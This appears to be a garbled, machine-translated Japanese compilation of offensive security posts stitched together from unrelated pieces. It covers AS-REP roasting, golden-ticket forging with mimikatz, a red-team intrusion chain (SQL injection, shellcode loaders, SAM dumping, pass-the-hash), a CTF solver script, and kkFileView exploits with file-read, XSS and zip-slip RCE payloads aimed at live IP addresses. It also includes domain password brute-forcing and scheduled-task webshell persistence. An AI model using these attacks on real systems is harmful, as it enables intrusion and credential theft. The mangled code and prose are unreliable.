上記の図に返されたユーザーによって暗号化されたユーザーNTLMハッシュのセッションキー暗号文は、AES256を介して暗号化されていますが、ここで暗号化ダウングレード方法を使用することもできます(以下のKerberoastは、AES暗号化とRC4_HMACタイプのデータを返すためにAES暗号化とRC4_HMACタイプのデータを返します。 as_repでciphertextの暗号化方法がRC4_HMACであるように、プレーンテキストパスワードをクラックできるようにします。

ただし、ここで解決する必要がある問題の1つは、認証前の問題です。 AS_REQでは、クライアントハッシュ暗号化を備えたタイムスタンプが生成され、KDCに送信されます。 KDCは、暗号文を復号化することによりタイムスタンプを取得します。復号化が成功し、タイムスタンプが5分以内にある場合、事前認証は成功します。 KDCは、この方法を使用して、ブルートフォースの亀裂を効果的に防ぐために、クライアントのアイデンティティを検証します。yfppzmderba2810.png ln2ql0vs0j52811.png

AS_REQがデフォルトで2回送信される理由については、Harmj0yの記事から得られた説明は、クライアントが事前にサポートされている暗号化方法を知らないということです(クライアントは、事前認証のタイムスタンプの暗号化方法を知らないことに固有のものだと思います)。

したがって、事前認証をオフにすることで、徹底的な爆破を実行して、プレーンパスワードama041lyasw2812.pngをクラックすることができます

事前認証を終了した後、2番目のAS_REQはありません。唯一のAS_REQには、NTLMハッシュ暗号化タイムスタンプCiphertext 3g0jkdf3fvqe2813.pngが含まれません。

使用

LDAPを介してKerberos Prauthentication属性を必要としないドメインユーザーをクエリすることができます

特定のクエリ条件は、useraccountcontrol:1.2.840.113556.1.4.803:=4194304です

ここでルベウスはサンプルrubeus.exe asreproast /nowrap /format:hashcat 0veljxzcn4q2814.pngとして使用されます

Hashcat Decrypt Hashcat -M 18200 Hash.txt Passwords.Dict - Force xxpjw40onln2815.png

Rubeus AsReproast原理分析

トラフィックのワイアシャーク分析を通じて、このモジュールの原則は、LADPを介して属性機能のドメインユーザーを照会し、バッチでAS_REQリクエストパケットを送信し、ハッシュカットブラストに適したフォーマットと出力のためのリターンパケットのNTLMハッシュ暗号化部分を抽出することであることがわかります。

LDAPクエリu2mkwuxtfkv2816.png

サポートされている暗号化タイプはRC4_HMAC kx5wzk5vsce2817.pngのみであることを指定します

返された暗号文は、RC4_HMACを使用して暗号化されています(したがって、徹底的に爆破できます)phikgg5wmbe2818.png

ゴールドノート

機能

DCと通信する必要があります(ASと対話する必要はありませんが、TGSする必要はありませんが、TGSする必要はありません)。暗号化してTGTを生成します。 KRBTGTのNTLM-HASH値を取得した場合、TGTを偽造できますか? KRBTGTはドメインコントローラーでのみ利用可能であるため、ゴールドの資格情報を使用すると、以前にドメインコントローラーでアクセス許可を取得したことがあり、金の資格情報はバックドアとして理解できます。

原理

1。ドメイン名

2。ドメインのSID値

3.ドメインのKRBTGTアカウントパスワードハッシュ

4.偽装されたユーザー名は任意の場合があります(TGTのサービス寿命は20分以内であり、ドメインコントローラーKDCサービスはTGTのユーザーアカウントを確認しません)

Krbtgtのハッシュを取得したら、それを使用してゴールドノートを作成できます

DCSYNCの攻撃方法(以下で説明および練習)を通じてKRBTGTのハッシュを取得したとします1rgq30d0wjq2819.png

条件1:SPNをスキャンしてドメイン名God.org sa4wehbvzxg2820.pngを取得する

条件2:whoami /すべてドメインユーザーSIDを取得し、ドメインSID 3ansv2xpwdt2821.pngの最後の文字列を削除します

条件3:KRBTGTアカウントHASH58E91A5AC358D86513AB24312314061

条件4:Forgeユーザー名管理者

条件

MIMIKATZ KERBEROS:3:GOLDEN FORGED TGTを使用します

ゴールデンチケットデフォルトグループ:

ドメインユーザーSID:S-1-5-21ドメイン-513

ドメイン管理SID:S-1-5-21ドメイン-512

アーキテクチャ管理者SID:S-1-5-21ドメイン-518

エンタープライズ管理者SID:S-1-5-21ドメイン-519(フォレッドルートドメインに鍛造チケットが作成された場合にのみ有効ですが、ADフォレスト管理者の許可に使用/SIDSパラメーターを追加)

グループポリシー作成者の所有者SID:S-1-5-21ドメイン-520

mimikatz.exe 'kerberos:3360golden /domain:god.org /sid3:s-1-5-21-2952760202-1353902439-2381784089 /usersistrator /KRBTGT:58E91A5AC358D86513AB24312314061 /TICKET:K0U.KIRIBI '出口

TIP:は、請求書の有効期間と更新請求書の最大妥当性期間を変更するために、追加/endin:xx /rengingmax:xxを追加できます。 Mimikatzはデフォルトで10年wea4byfkb312822.pngです

生成されたチケットは、他のドメインマシンにインポートできます。または、TGTを /PTTを使用してメモリに直接注入できます。

最初にチケットキャッシュKlist Purge 02u3lygbzh52823.pngをクリアします

次に、mimikatzkerberos:ptt k0u.kiribi nwfnto00x3k2824.png経由でキャッシュされた請求書に注入します

KLISTはチケットキャッシュをチェックし、偽造されたTGTを見ることができます

序文

少し前に、私は攻撃的で防御的なドリルに参加しました。従来の脆弱性を使用した後、私は多くのマスターがJSのブレークスルーを探している記事を共有していると思ったので、私はJSを始めたばかりで、ついにターゲット許可と個人情報を取得するためにイントラネットの入り口を開きました。ここでプロセスを共有しましょう。

ステートメント:このドリルでは、すべてのテスト機器がオーガナイザーによって提供され、すべてのトラフィックは監査のためにアーカイブされ、すべての操作は承認の下で完了し、すべてのデータは終了後に安全に破壊されました。

JS

を実行します

最初は1つのログインページのみがあり、ユーザー名を列挙できず、爆発の試みが失敗しました。

1049983-20230421162846001-590057695.jpg

BPを使用してパケットをキャッチしてJS関連のファイルを表示し、SQLステートメントがあることを見つけます

1049983-20230421162846874-1444649661.jpg

comboxSQL変数を追跡し、アクションクラスが定義されていることを発見します

1049983-20230421162847615-1929940280.jpg

このAction ClassPathを検索し、アクセス方法がURLステッチを使用していることを確認します。

1049983-20230421162848353-2077148943.jpg

パスがスプライスされ、パラメーターがSQLステートメントに入力されます。このテストでは、データベースがMSSQLデータベースであることがわかりました。システムコマンドは、XP_CMDSHELLを介して実行できます。

1049983-20230421162849113-20833891.jpg

シェルコデロデーターはオンラインで入手できます

システム許可を実行した後、CSを殺さずにリモートダウンロードを使用してオンラインになることを計画しましたが、正常に起動しませんでした。 360エンタープライズクラウドがあることがわかりました。これにより、EXEの実行の切片がトリガーされました。

1049983-20230421162849831-1377837346.jpg

あなたの思考を変えてください。 GodzillaのWebShellをダウンロードした後、GodzillaのShellCodeloader関数を使用して、独自のCS Trojanシェルコードをロードしてオンラインになります。

1049983-20230421162850477-227933550.jpg

データベース構成情報を復号化する

exeファイルが実行されると、アクセスが拒否され、ファイルが実行できないためです。ローカル構成ファイルを検索することにより、データベースアカウントのパスワードが見つかりましたが、データベースパスワードは暗号化されました。

1049983-20230421162851223-804733282.jpg

履歴Webサイトのバックアップファイルを検索することにより、システムの初期構成ファイルはデータベースパスワード暗号化用に構成されておらず、テストではデータベースに接続できることがわかりました。

1049983-20230421162852001-751908926.jpgこのシステムのデータベースバックアップファイルを調べると、サーバーによって展開された別のビジネスシステムを誤って発見し、データベース構成ファイルのアカウント番号、パスワード、およびデータベースIPも暗号化されたストレージです。

1049983-20230421162852792-1421720165.jpg

システムの特性を見つけることにより、サイトサーバーCMSシステムとして発見されます。オンライン検索から、このCMSの専用暗号化と復号化ツールであるSiteserver CLIが見つかりました。

1049983-20230421162853567-1190126543.jpgを実行した後、データベースPlantext構成情報を取得することもできます

server=x.x.x.x; uid=sa; pwd=xxcsthink!@#123; database=newdfgxxcsプロキシを接続し、テスト接続が成功します

1049983-20230421162854235-54742713.jpg

ただし、データベースサーバーはEXEプログラムを実行できず、Mimikatzを実行して管理者ハッシュを読み取ることができず、ユーザーを作成できず、TSCANをイントラネットスキャンにアップロードできなかったため、ここに滞在するのは恥ずかしくなりました。最後に、CSSプラグインの情報検出を使用して、イントラネットセグメント資産を検出します。

1049983-20230421162854970-187933157.jpg

17010プラグイン攻撃を使用しても失敗しました

1049983-20230421162855722-1067996590.jpg

プロキシチャインを使用してMSFと協力して、PC許可を取得するImage

1049983-20230421162857116-372680895.jpg Mimikazを使用して管理者のパスワードを読み取り、リモートデスクトップを有効にし、ログインすることが不可能であることがわかります。

1049983-20230421162857804-1002896266.jpg

MSFロードMimikazモジュール

特権:Debug

TS:MultirdP

イントラネット権限を取得

新しいユーザーを作成して、個人のPCコンピューターを入力する

1049983-20230421162858564-402275774.jpg

ベースとしてこのPCを介して、TidefingerとTSCANをアップロードしてイントラネットスキャンを実行します。ここでこれら2つのツールを紹介する必要があります。

GO言語バージョンのTidefinger指紋認識機能:1。Dismap、VSCAN、KSCAN、FOFA、Serverscan、およびその他の指紋2を追加しました。 3.ディスプレイ効果は解体から借用されており、現在、効率と指紋のカバレッジの点で高くなるはずです。

1049983-20230421162859263-1813055310.jpg

GO言語バージョンのTSCAN関数:1。TSCANは、TIDEセキュリティチームが共同で維持する内部および外部ネットワークアセットスキャンツールです。 2。基本コードはFSCAN 3の更新に反復します。ChaoshengPoc脆弱性検出プラットフォームにリンクして、チームメンバーは毎月公開された最近のPOCを書き込み、公開されたPOCをインターネット上で定期的に収集および整理し、最終的に更新してリリースします。

1049983-20230421162859956-1543115676.jpg

イントラネットネットワークセグメントをスキャンした後、次のステップは脆弱性検証プロセスです。私はそれをちらっと見て、直接ぶつかることができる穴を見つけませんでした。ただし、指紋は、イントラネットIPの1つがポート2222でRMIとして開かれたことを検出しました。

1049983-20230421162900571-2117737162.jpg Image

サーバーは許可を取得していますが、このサーバーで情報を収集する際に、他の関連するアカウントのパスワード情報は見つかりませんでした。

samファイルユーザーハッシュを取得

MimikazでSekurlsa:3:LogonPassWordsコマンドを使用して、プロセスLSAの情報を読み取って、現在ログに記録されているユーザーのパスワード情報を取得します。出力の結果は、管理者などのユーザー情報がないことを示しています(主に、CSを使用する許可を使用する場合、ソフトキリング戦略がトリガーされ、サーバーが再起動されると推定されているため)。次に、クエリユーザーを使用して、管理者ユーザーがオンラインではないことがわかりました。そのため、メモリを介して管理者のハッシュを直接読み取ることはできません。 Mimikazを使用して、SAMファイルでハッシュを読み取ります。

#ELEVATE権限

特権:Debug

#ELEVATE SYSTEM

token:3360Elevate

#crawl sam

lsadump3:SAM 1049983-20230421162901858-1741339910.jpg

ハッシュ配信

NTLMハッシュを取得した後、オンラインWebサイトからプレーンテキストパスワードを直接解読できないことがわかりました。取得したNTLMハッシュは、ハッシュを通過して4つのサーバーの権限を取得します。

1049983-20230421162902595-861301691.jpg

次に、ハッシュを使用してサーバーにログインし、情報を収集し続けます。ネスティング人形のリモートデスクトップはサーバーの1つで見つかり、03システム用でした

1049983-20230421162903307-2132010902.jpg

サーバーパスワードを取得するためのルール

Mimikazを介してこのパスワードを読む(KB2871997の前、MimikatzはPleantextパスワードを直接つかむことができます)

*username3360administrator

*domain:win-laolovgmf

*password:

1。ミス

1.Sudoku_easy

シンプルな数独身、注意を払うためのいくつかの小さなポイント、各レベルが送信されてから5秒後に睡眠をとって、質問が眠りに返されます

image-20230610185716309

形を次のようにします

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

800103720

023840650

410006008

300001062

0052407

072060090

160000375

205019846

000030000

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

2次元配列に変換して数独を解き、戻り結果をマルチライン文字列に再変換します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

最初は、5ポイントを獲得するたびに120ポイントを獲得する必要があり、24回の範囲を持っていると思いましたが、問題を抱えていました。その後、スコアが増加したことがわかりました。同時に、私はデバッグし、120ポイントを獲得した場合、ゲッシェルを返すため、範囲を7回変更したことがわかりました。

最終スクリプト:

def find_empty(board):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

Return Row、col

なしなし

def is_valid(board、num、pos):

行、col=pos

範囲のIの場合(9):

ボード[row] [i]==numおよびcol!=i:の場合

falseを返します

ボード[i] [col]==num and row!=i:の場合

falseを返します

box_row=row //3

box_col=col //3

範囲のi(box_row * 3、box_row * 3 + 3):

range(box_col * 3、box_col * 3 + 3):の場合

ボード[i] [j]==numおよび(i、j)!=pos:の場合

falseを返します

trueを返します

def solve(board):

find=find_empty(ボード)

find:がない場合

trueを返します

else:

行、col=find

範囲(1、10):のIの場合

is_valid(board、i、(row、col)):の場合

ボード[row] [col]=i

解決(ボード):の場合

trueを返します

ボード[row] [col]=0

falseを返します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

#input_string='' '-------------------------

#800103720

#023840650

#410006008

#300001062

#000052407

#072060090

#160000375

#205019846

#000030000

#----------------------------

#今、私にあなたがsolve: '' 'を与えてください

#リスト=input_string.split( '\ n')[1:10]

#ボード=parse_input(lists)

#印刷(ボード)

#solve(ボード)

#印刷(ボード)

PWNインポートから *

#接続を作成します

conn=remote('47 .108.165.60 '、27539)

#ウェルカムメッセージを受け取ります

範囲のIの場合(7):

msg=conn.recvuntil( '入力:')。ストリップ()。デコード( 'utf-8')

印刷(msg)

#選択を送信します

conn.sendline( '1'.encode())

#次のプロンプトを受信します

msg=conn.recvuntil( 'level:'を選択してください)。ストリップ()。デコード( 'utf-8')

印刷(msg)

conn.sendline( '5'.encode())

msg=conn.recvuntil( 'clock start')。strip()。decode( 'utf-8')

印刷(msg)

time.sleep(5)

msg=conn.recvuntil( '今私にsolve:'を与えます)。sprip()。decode( 'utf-8')

印刷(msg)

lists=msg.split( '\ n')[1:10]

board=parse_input(lists)

SOLVE(ボード)

solved=format_output(board)

conn.sendline(solved.encode())

conn.Interactive()

または

PWNインポートから *

def is_valid(board、row、col、num):

#行が合法かどうかを確認してください

範囲のIの場合(9):

ボード[row] [i]==num:の場合

falseを返します

#列が合法かどうかを確認してください

範囲のIの場合(9):

ボード[i] [col]==num:の場合

falseを返します

#9番目の広場が合法かどうかを確認してください

start_row=(row //3) * 3

start_col=(col //3) * 3

範囲のIの場合(3):

範囲(3):のJの場合

ボード[start_row + i] [start_col + j]==num:の場合

falseを返します

trueを返します

def solve_sudoku(ボード):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

範囲のnum(1、10):の場合

is_valid(Board、row、col、num):の場合

ボード[row] [col]=num

solve_sudoku(ボード):の場合

trueを返します

ボード[row] [col]=0#バックトラッキング

falseを返す#すべての数字が試され、適切な数字が見つかりませんでした

trueを返します

def print_sudoku(board):

a=''

範囲の行(9):の場合

範囲のcol(9):の場合

a +=str(board [row] [col])

a+='\ n'

A.Strip()を返します

context.log_level='debug'

p=remote('47 .108.165.60 '、23479)

p.recv()

範囲のIの場合(7):

P.Sendline( '1')

P.Recvuntil( 'レベル:を選択してください')

P.Sendline( '5')

a='------------------- \ nnow shive you solve:'

content=p.recvuntil(a).decode()。分割(a)[0] [-130:]

sudoku=content.split( '-------------------')[1]

sudoku=sudoku.strip()

sudoku=sudoku.split( '\ n')

tmp=[]

sudoku:のsudoの場合

a=sudoのsの[int(s)]

TMP.Append(a)

solve_sudoku(tmp):の場合

result=print_sudoku(tmp)

log.info(結果)

result.split( '\ n'):のラインの場合

p.send(line)

#content=p.recv()。decode()

p.interactive()

独立した数独復号化スクリプト:

クラスsudoku():

def __init __(self、sudo_ku_data):

ISInstanceではない場合(sudo_ku_data、list):

Raise TypeError(f'sudo_ku_data paramsはリストでなければなりませんが、{sudo_ku_data}は{type(sudo_ku_data)} 'です。

Len(sudo_ku_data)!=9またはlen(sudo_ku_data [0])!=9:の場合

タイプエラーを上げる(

f'sudo_ku_data paramsは9*9のリストでなければなりませんが、{sudo_ku_data}は{len(sudo_ku_data)}*{len(sudo_ku_data [0])} list ')です。

self.sudo_ku=sudo_ku_data

#既存のデータを各行に保存します

self.envery_row_data={}

#各列の既存の数字

self.every_column_data={}

#3*3ごとに

self.envery_three_to_three_data={}

#空席の場所

self.vacant_position=[]

#各空席で試した数字

self.every_vacant_position_tried_values={}

#データを初期化します

self._init()

def _add_row_data(self、row、value):

'' '

初期化の場合

self.envery_row_dataにデータを追加します

:param row:

:Param Value:

:RETURN:

'' '

rowがself.envery_row_data:にない場合

self.every_row_data [row]=set()

self.envery_row_data [row] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_row_data [row] .add(value)

def _add_column_data(self、column、value):

'' '

初期化の場合

self.envery_column_dataにデータを追加します

:Param Column:

:Param Value:

:RETURN:

'' '

columnがself.envery_column_data:にない場合

self.every_column_data [column]=set()

self.envery_column_data [列] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_column_data [column] .add(value)

def _get_three_to_three_key(self、row、column):

'' '

3*3キーごとに取得します

:param row:

:Param Column:

:RETURN:

'' '

[0、1、2] :の行の場合

[0、1、2] :の列の場合

key=1

[3、4、5] :の列列

key=2

else:

key=3

[3、4、5] :のElif Row

[0、1、2] :の列の場合

キー=4

[3、4、5] :の列列

key=5

else:

key=6

else:

[0、1、2] :の列の場合

key=7

[3、4、5] :の列列

key=8

else:

key=9

キーを返します

def _add_three_to_three_data(self、row、column、value):

'' '

初期化の場合

self.envery_three_to_three_dataにデータを追加します

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

key=self._get_three_to_three_key(列、列)

key.enty.envery_three_to_three_data:ではない場合

self.every_three_to_three_data [key]=set()

self.every_three_to_three_data [key] .add(value)

def _init(self):

'' '

入ってくる数独に基づいてデータを初期化します

:RETURN:

'' '

rowの場合、row_datas in enumerate(self.sudo_ku):

列の場合、値の値(row_datas):

value=='' :の場合

self.vacant_position.append((列、列))

else:

self._add_row_data(row、value)

self._add_column_data(列、値)

self._add_three_to_three_data(row、column、value)

def _judge_value_is_legal(self、row、column、value):

'' '

当事者によって配置されたデータが合法かどうかを判断する

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

#このデータの行に値は存在しますか

self.envery_row_data [row] :の値の場合

falseを返します

#このデータの列に値は存在しますか

self.envery_column_data [列] :の値の場合

falseを返します

#値この3*3の宮殿は存在しますか?

key=self._get_three_to_three_key(列、列)

self.envery_three_to_three_data [key] :の値の場合

falseを返します

trueを返します

def _calculate(self、vacant_position):

'' '

計算して、数独に値の配置を開始します

:PARAM VACANT_POSITION:

:RETURN:

'' '

#現在の場所を取得します

行、列=facant_position

値=set(範囲(1、10))

#現在の場所が現在の場所で試されたデータを保存するための一意のキーを作成します

key=str(row) + str(列)

#このキーが存在する場合は、値の差を取得します。両方ともセットであるため、直接使用するだけです -

self.envery_vacant_position_tried_values:のキーの場合

値=values-self.envery_vacant_position_tried_values [key]

#このキーが存在しない場合は、空のコレクションを作成します

else:

self.every_vacant_position_tried_values [key]=set()

値の値:

#現在のデータを現在の場所で試されたデータに追加します

self.every_vacant_position_tried_values [key] .add(value)

#現在の値が合法である場合、配置できます

self._judge_value_is_legal(row、column、value):の場合

#print(f'set {vacant_position}値は{値} ')

re

emoji connect

はExcelプラグインです。プレイを開始した後、4848マトリックスが初期化されます。各グリッドには絵文字があり、その後、毎回2つのグリッドがクリックされます。 2つのグリッドの絵文字が同じ場合、これらの2つのグリッドは排除されます。最初は、星などの3つのグリッドの排除だと思っていましたが、ゲームのロジックを見ると一度に2つしか置き換えなかったので、次々に見ました。次に、フラグのロジックは、グリッドが排除されるたびにグリッドの行を差し引くことです。添え字は、魔法の方法を使用してUnicodeから転送されます。マトリックス内の絵文字の最小値を直接使用して、下付き文字をオフセットします。

dat='' '

0x00 Kkfileview

には任意のファイル読み取り脆弱性があります

脆弱性説明Kkkfileviewは、中国でファイルドキュメントを作成するためのスプリングブートオンラインプレビュープロジェクトです。 KkkfileviewのKekingには、ディレクトリトラバーサルの脆弱性を介して任意のファイルを読み取ることの存在に由来するセキュリティの脆弱性があり、関連するホストに機密ファイルが漏れている可能性があります。

脆弱性はkkfileview=3.6.0に影響します

fofa query body='kkfile:view'

脆弱性の証明1049983-20230504221453043-1016303644.png

http://103.39.221.102:8012 //getCorsFile?urlpath=file: ///etc/passwd

1049983-20230504221453794-775012493.png

0x01 KKFILEVIEW SSR脆弱性

脆弱性説明KKFileview v4.1.0にはSSRFの脆弱性があります。攻撃者は、この脆弱性を悪用して、サーバー側のリクエスト偽造(SSRF)を引き起こす可能性があります。リモート攻撃者は、URLをURLパラメーターに注入して、アプリケーションに要求を強制的に発行できます。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性の証明1049983-20230504221454445-1305845918.png 1049983-20230504221455114-887037370.png

http://121.40.238.4833608012 //getCorsFile?urlPath=AHR0CDOVL2QYYJY0NWQ3LMRUCY5KBNNTYXAUB3JN

1049983-20230504221455871-207554484.png 1049983-20230504221456993-720261784.png

0x03 kkfileview XSS脆弱性

脆弱性説明KKFILEVIEW V4.1.0には2つのXSS脆弱性があり、ウェブサイトCookieのリークにつながる可能性があります。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性証明3http://www.baidu.com/test.txt'img src=111 oneerror=alert(1)

base64:のエンコード

ahr0cdovl3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvmvycm9ypwfszxj0kdeppg==

URLエンコード:

AHR0CDOVL3D3D3D3D3D3IYWLKDS5JB20VDGVZDC50EHQIPJXPBWCGC3JPTEXMSBVVMVYCM9YPWFSZXJ0KDEPPG%3D%3D

POC1:

/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

/picturespreview?urls=ahr0cdovl3d3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvbmvycm9ypwfszxj0kdeppg%3d%3d

http://139.9.99.164.127:8012/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

1049983-20230504221457649-612694906.png

http://119.91.146.127:8012/picturespreview?urls=ahr0cdovl3d3d3d3d3d3dy5iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmbvbbvvbbvvvmvycm9ypfsxxj0kepgkepgkepgkepgkdpgd

1049983-20230504221458330-495525609.png

svg/onload=alert(1)base64:のエンコード

phn2zy9vbmxvywq9ywxlcnqomsk+

URLエンコード:

phn2zy9vbmxvywq9ywxlcnqumsk%2b

POC2:

/picturespreview?urls=currenturl=phn2zy9vbmxvywq9ywxlcnqomsk%2b

http://119.91.146.127:8012/picturespreview?urls=culrenturl=phn2zy9vbmxvywq9ywxlcnqumsk%2b

1049983-20230504221458944-1650026347.png

0x04 kkfileview任意のファイルをアップロードして、XSSとファイルインクルージョンの脆弱性をもたらします

脆弱性説明KKFileViewのバージョン全体にファイル解決脆弱性があります。攻撃者は、この脆弱性を使用して、ストレージXSS、ファイル包含、またはSSRFを作成できます。リモート攻撃者は、JavasRiptスクリプトをサーバーにアップロードすることにより、アプリケーションを永続的に使用して攻撃要求を発行できます。

脆弱性はkkfileview=4.1.0に影響します

脆弱性証明1。ファイルをアップロードします

1049983-20230504221459633-1950754539.png

1049983-20230504221500351-362477331.png

2。脆弱性の場所にアクセスします

http://139.9.101.60:8012/demo/2.html

1049983-20230504221501003-1408400025.png

1049983-20230504221501589-396938795.png

2。ファイルには次のものが含まれます。

https://file.keking.cn/demo/test1.js image

アクセス:

https://file.keking.cn/demo/test14.html image

0x05 kkfileview任意のファイル削除脆弱性

脆弱性の説明

kkfileview v4.0.0には任意のファイル削除脆弱性があり、システム内のファイルが削除される可能性があります

脆弱性の影響

kkfileview=v4.0.0

脆弱性証明

/deletefile?filename=demo%2f.ionss.pdf

このURIへのリクエストの取得は、\ kkfileview-master \ server \ src \ main \ fileディレクトリのxss.pdfを削除します(元々、\ kkfileview-master \ server \ src \ main \ file \ demoディレクトリの下のファイル)

1049983-20230504221503856-1243945439.png 1049983-20230504221504580-1401680988.png

0x06 KFILEVIEW-V4.3.0〜V4.40-BETA RCE脆弱性

脆弱性への影響:V4.2.1とV4.2.0は両方の影響、4.1.0は影響を受けません

ファイルをアップロード

インポートzipfile

__name__=='__main __' :の場合

try:

binary1=b'1ueeeeeee '

binary2=b'hacked_by_1ue '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

zipfile.writestr( '././././././././././././././././././././././///./tmp/flag'、binary2)

zipfile.close()

e:としてのioerrorを除く

eを上げる

hack.zip_cacheファイルの作成を容易にするには、悪意のあるhack.zipを作成します。

img

ファイルとプレビューをアップロードします

img

img

成功した旅行を発見してください

rce

任意のファイルをアップロードし、ファイルの内容を追加できます

私の調査の後、私はターゲットがODTをPDFに使用するときにシステムのLibreofficeを呼び出すことを発見し、このプロセスはライブラリのUno.pyファイルを呼び出すため、Pyファイルのコンテンツを上書きすることができます。

zipfileをインポートします

__name__=='__main __' :の場合

try:

binary1=b'1ue '

binary2=b'import os \ r \ nos.system(\ 'touch /tmp /hack_by_1ue \') '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

Zipfile.Writestr( '././././././././././././././././././././././オプション/./.

zipfile.close()

e:としてのioerrorを除く

eを上げる

悪意のあるzipパッケージのアップロードとプレビュー

img

次に、ODTファイルをアップロードし、LibreOfficeタスクを開始してアップロードおよびプレビューします

img

コマンドが正常に実行されたことがわかります

img

コンテンツは確かにuno.pyで書かれています

0x01。 netlocalgroupgetMembers

関数:ターゲットサーバーローカル管理グループのクエリメンバー

1049983-20230323151123817-61694149.png

0x02。 netlocalgroupenum

機能:指定されたサーバーのすべてのローカルグループを返します

1049983-20230323151125016-233092716.png

0x03。 netgroupgetusers

機能:指定されたサーバーと指定されたグループのすべてのメンバーを返します

ドメイン内の各グループのメンバーをクエリし、IPはドメインコントロールIPでなければなりません

1049983-20230323151126012-1342971612.png

0x04。 Netuserenum

機能:非表示のユーザーを含むターゲットサーバーのすべてのユーザーをクエリします

4ky3lgedepc2869.png

1049983-20230323151126797-88203591.png

0x05。 wnetaddconnection2a

機能:IPC接続を確立します。これにより、ターゲット共有ディレクトリをローカルディスクにマッピングできます

1049983-20230323151127542-1431694340.png0x06。 wnetcancelconnection2

関数:IPC接続を削除します

1049983-20230323151128551-473455335.png0x07。 Enudomainuser

関数:ドメインユーザーを列挙します

1。はじめに

適用可能:現在の境界マシンのアクセス許可は、ワーキンググループマシンです。 NLTESTやNBTSCANなどのツールを介して、イントラネットにはドメイン環境があり、ドメイン制御IPが見つかっていることがわかりますが、侵入のアイデアはドメインユーザーの許可にはありません。

前提条件:ドメインコントロールとの空の接続を確立する能力

実装の原則:ドメインマネージャーには、デフォルトで管理者ユーザーがいます。管理者ドメインマネージャーのSIDは、Windows APIを介して見つかり、SID範囲を反復し、ドメインメンバー(ドメインユーザーとドメインマシン)を列挙します。

SID範囲:ドメインユーザーとドメインマシンのSIDは一般に1000を超えているため、ツールを使用する場合、SIDを1000を超えて横断します

2。ツールの使用

ヘルプ:

c: \ uses \ administrator \ desktopenudomainuser.exe

usage: enudomainuser.exe dc-ip domainname \ username start sid end sid t_num

Enudomainuser.exe \\ 192.168.52.2 Hack \ Administrator 1000 2000 100

enudomainuser.exe \\ドメインコントロールIPドメイン名\ドメインユーザー名デフォルト管理者SID END SID番号

デモを使用します:

Enudomainuser.exe 192.168.52.2 Hack \ Administrator 1000 2000 100

パラメーター説明:

192.168.52.2はドメインコントロールIPです

ハックはドメイン名です

管理者は、ドメイン管理のデフォルトユーザーです

1000はトラバーサルSIDの始まりです

2000はトラバーサルSIDの終わりです - 10000、20000など、少し高く設定できます。

100はマルチスレッドの数です

n1ipemjchke2873.png

1049983-20230323151129593-1430331576.png

0x08。 blastdomainuserpwd

機能:ドメインユーザーパスワードをブラストします

1。はじめに

IPC経由で接続- ブラストドメインユーザーのパスワード

EnudomainuserツールまたはKerbruteツールを組み合わせて、ドメインユーザー名リストを取得してからバースト

360に殺された場合は、exe名を変更するだけです

デザインのアイデア:

ドメインコントロールとの空の接続を確立できる場合は、Enudomainuserツールを使用して、すべてのドメインユーザー名を列挙してトラバースします

ドメインコントロールとの空の接続を確立できない場合は、kerbruteツールを使用してドメインユーザー名を爆破します

ドメインユーザー名のバッチを取得した後、ドメインユーザーパスワードの弱いパスワードを破ろうとし始めます

ドメインユーザーのパスワードに強度要件がある場合は、強力なパスワードを爆破してみてください。例:P@SSW0RD、1QAZ@WSXなど。

2。ツールの使用

usage: blastdomainuserpwd.exe domaincomputerip domainuser.txtパスワードt_num

blastdomainuserpwd.exe \\ 192.168.52.29 domainuser.txtパスワード100

blastdomainuserpwd.exe \\ドメインマシンIPドメインユーザー名辞書パスワード数のマルチスレッドを爆破しようとするパスワード

ドメインユーザー名辞書形式の仕様:ドメイン名\ドメインユーザー名

domain \ user

1049983-20230323151130536-534546264.png

実行の例:BlastDomainUserpwd.exe \\ 192.168.52.2 domainuser.txt 1qaz@wsx 3

1049983-20230323151131665-478973375.jpgドメインユーザーパスワードが正常に爆破されたことは、現在のディレクトリのsuccess.txtテキストに保存されます

1049983-20230323151132492-1163518885.png

jatow3dnlcg2878.png

0x09。 schtaskbackdoorwebshell

機能:タスクメンテナンスのWebシェルをスケジュールします

1。適用可能なシナリオ:

ディフェンダーは保護ネットワークでウェブシェルを発見し、それをクリアしました。脆弱性も修正されました。その後、ウェブサイトが復元されたとき、ウェブシェルをアップロードできなくなり、ウェブシェルはスケジュールされたタスクを通じて書き換えられました。

2。条件:

管理者の許可。スケジュールされたタスクを作成するには、管理者の権限が必要です

3。使用方法:

xxxx.exe C: \ www \ upload \ 1.jsp

4。実装プロセス:

c: \ www \ upload \ 1.jspのコンテンツをC: \ windows \ temp \ tempsh.txtにコピーしてから、計画されたタスクを作成します。実行されたコマンドはC: \ Windows \ System32 \ cmd.exe /c Copy C: \ Windows \ Temp \ Tempsh.txt C: \ www \ upload \ 1.jsp、30分ごとにトリガーされます。

